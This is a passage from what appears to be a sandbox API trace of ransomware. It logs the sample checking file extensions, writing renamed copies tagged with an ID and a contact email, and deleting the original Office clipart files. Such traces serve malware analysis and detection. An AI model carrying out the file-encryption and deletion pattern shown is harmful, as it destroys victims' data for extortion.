	[0179.878] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0179.880] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.880] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.880] SetEndOfFile (hFile=0x53c) returned 1
	[0179.880] CloseHandle (hObject=0x53c) returned 1
	[0179.881] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.881] SetEndOfFile (hFile=0x550) returned 1
	[0179.883] CloseHandle (hObject=0x550) returned 1
	[0179.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1
	[0179.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.885] lstrlenW (lpString=".doc") returned 4
	[0179.885] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.885] lstrlenW (lpString=".docx") returned 5
	[0179.885] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.885] lstrlenW (lpString=".pdf") returned 4
	[0179.885] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.885] lstrlenW (lpString=".xls") returned 4
	[0179.885] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.886] lstrlenW (lpString=".xlsx") returned 5
	[0179.886] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.886] lstrlenW (lpString=".ppt") returned 4
	[0179.886] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.886] lstrlenW (lpString=".zip") returned 4
	[0179.886] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.886] lstrlenW (lpString=".rar") returned 4
	[0179.886] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString=".bz2") returned 4
	[0179.886] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString=".7z") returned 3
	[0179.886] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.886] lstrlenW (lpString=".dbf") returned 4
	[0179.886] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.886] lstrlenW (lpString=".1cd") returned 4
	[0179.886] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.886] lstrlenW (lpString=".jpg") returned 4
	[0179.886] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.886] lstrlenW (lpString=".doc") returned 4
	[0179.886] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString=".docx") returned 5
	[0179.886] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0179.886] lstrlenW (lpString=".pdf") returned 4
	[0179.886] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.886] lstrlenW (lpString=".xls") returned 4
	[0179.886] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.886] lstrlenW (lpString=".xlsx") returned 5
	[0179.886] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0179.887] lstrlenW (lpString=".ppt") returned 4
	[0179.887] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.887] lstrlenW (lpString=".zip") returned 4
	[0179.887] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.887] lstrlenW (lpString=".rar") returned 4
	[0179.887] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.887] lstrlenW (lpString=".bz2") returned 4
	[0179.887] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.887] lstrlenW (lpString=".7z") returned 3
	[0179.887] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.887] lstrlenW (lpString=".dbf") returned 4
	[0179.887] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.887] lstrlenW (lpString=".1cd") returned 4
	[0179.887] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0179.887] lstrlenW (lpString=".jpg") returned 4
	[0179.887] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.887] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.888] lstrlenW (lpString="J0107718.WMF") returned 12
	[0179.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0179.889] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3800) returned 1
	[0179.889] CloseHandle (hObject=0x550) returned 1
	[0179.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220
	[0179.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0179.889] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.890] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0179.890] GetLastError () returned 0x0
	[0179.890] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xed8, lpOverlapped=0x0) returned 1
	[0179.916] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xee0, lpOverlapped=0x0) returned 1
	[0179.917] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.917] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.917] SetEndOfFile (hFile=0x53c) returned 1
	[0179.917] CloseHandle (hObject=0x53c) returned 1
	[0179.917] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.917] SetEndOfFile (hFile=0x550) returned 1
	[0179.921] CloseHandle (hObject=0x550) returned 1
	[0179.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.921] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1
	[0179.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.922] lstrlenW (lpString=".doc") returned 4
	[0179.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString=".docx") returned 5
	[0179.923] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.923] lstrlenW (lpString=".pdf") returned 4
	[0179.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString=".xls") returned 4
	[0179.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.923] lstrlenW (lpString=".xlsx") returned 5
	[0179.923] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.923] lstrlenW (lpString=".ppt") returned 4
	[0179.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.923] lstrlenW (lpString=".zip") returned 4
	[0179.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.923] lstrlenW (lpString=".rar") returned 4
	[0179.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString=".bz2") returned 4
	[0179.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString=".7z") returned 3
	[0179.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.923] lstrlenW (lpString=".dbf") returned 4
	[0179.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.923] lstrlenW (lpString=".1cd") returned 4
	[0179.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.923] lstrlenW (lpString=".jpg") returned 4
	[0179.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.923] lstrlenW (lpString=".doc") returned 4
	[0179.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.923] lstrlenW (lpString=".docx") returned 5
	[0179.924] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0179.924] lstrlenW (lpString=".pdf") returned 4
	[0179.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.924] lstrlenW (lpString=".xls") returned 4
	[0179.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.924] lstrlenW (lpString=".xlsx") returned 5
	[0179.924] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0179.924] lstrlenW (lpString=".ppt") returned 4
	[0179.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.924] lstrlenW (lpString=".zip") returned 4
	[0179.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.924] lstrlenW (lpString=".rar") returned 4
	[0179.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.924] lstrlenW (lpString=".bz2") returned 4
	[0179.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.924] lstrlenW (lpString=".7z") returned 3
	[0179.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.924] lstrlenW (lpString=".dbf") returned 4
	[0179.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.924] lstrlenW (lpString=".1cd") returned 4
	[0179.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68
	[0179.924] lstrlenW (lpString=".jpg") returned 4
	[0179.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.925] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.925] lstrlenW (lpString="J0107724.WMF") returned 12
	[0179.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0179.926] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7016) returned 1
	[0179.926] CloseHandle (hObject=0x550) returned 1
	[0179.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 0x220
	[0179.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0179.927] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.927] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0179.932] GetLastError () returned 0x0
	[0179.932] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1b68, lpOverlapped=0x0) returned 1
	[0180.355] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1b70, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1b70, lpOverlapped=0x0) returned 1
	[0180.357] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.357] WriteFile (in: hFile=0x53c, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.357] SetEndOfFile (hFile=0x53c) returned 1
	[0180.618] CloseHandle (hObject=0x53c) returned 1
	[0180.618] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.618] SetEndOfFile (hFile=0x550) returned 1
	[0180.623] CloseHandle (hObject=0x550) returned 1
	[0180.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf")) returned 1
	[0180.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.625] lstrlenW (lpString=".doc") returned 4
	[0180.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.626] lstrlenW (lpString=".docx") returned 5
	[0180.626] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.626] lstrlenW (lpString=".pdf") returned 4
	[0180.626] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.626] lstrlenW (lpString=".xls") returned 4
	[0180.626] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.626] lstrlenW (lpString=".xlsx") returned 5
	[0180.626] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.626] lstrlenW (lpString=".ppt") returned 4
	[0180.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.626] lstrlenW (lpString=".zip") returned 4
	[0180.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.626] lstrlenW (lpString=".rar") returned 4
	[0180.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.626] lstrlenW (lpString=".bz2") returned 4
	[0180.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.626] lstrlenW (lpString=".7z") returned 3
	[0180.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.626] lstrlenW (lpString=".dbf") returned 4
	[0180.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.627] lstrlenW (lpString=".1cd") returned 4
	[0180.627] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.627] lstrlenW (lpString=".jpg") returned 4
	[0180.627] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.627] lstrlenW (lpString=".doc") returned 4
	[0180.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.627] lstrlenW (lpString=".docx") returned 5
	[0180.627] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.627] lstrlenW (lpString=".pdf") returned 4
	[0180.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.627] lstrlenW (lpString=".xls") returned 4
	[0180.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.627] lstrlenW (lpString=".xlsx") returned 5
	[0180.627] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.627] lstrlenW (lpString=".ppt") returned 4
	[0180.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.627] lstrlenW (lpString=".zip") returned 4
	[0180.627] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.627] lstrlenW (lpString=".rar") returned 4
	[0180.627] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.628] lstrlenW (lpString=".bz2") returned 4
	[0180.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.628] lstrlenW (lpString=".7z") returned 3
	[0180.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.628] lstrlenW (lpString=".dbf") returned 4
	[0180.628] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.628] lstrlenW (lpString=".1cd") returned 4
	[0180.628] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF") returned 68
	[0180.628] lstrlenW (lpString=".jpg") returned 4
	[0180.628] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.628] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0180.629] lstrlenW (lpString="J0145272.JPG") returned 12
	[0180.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0180.630] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=49238) returned 1
	[0180.630] CloseHandle (hObject=0x550) returned 1
	[0180.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220
	[0180.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0180.631] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.631] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.633] GetLastError () returned 0x0
	[0180.633] ReadFile (in: hFile=0x550, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xc056, lpOverlapped=0x0) returned 1
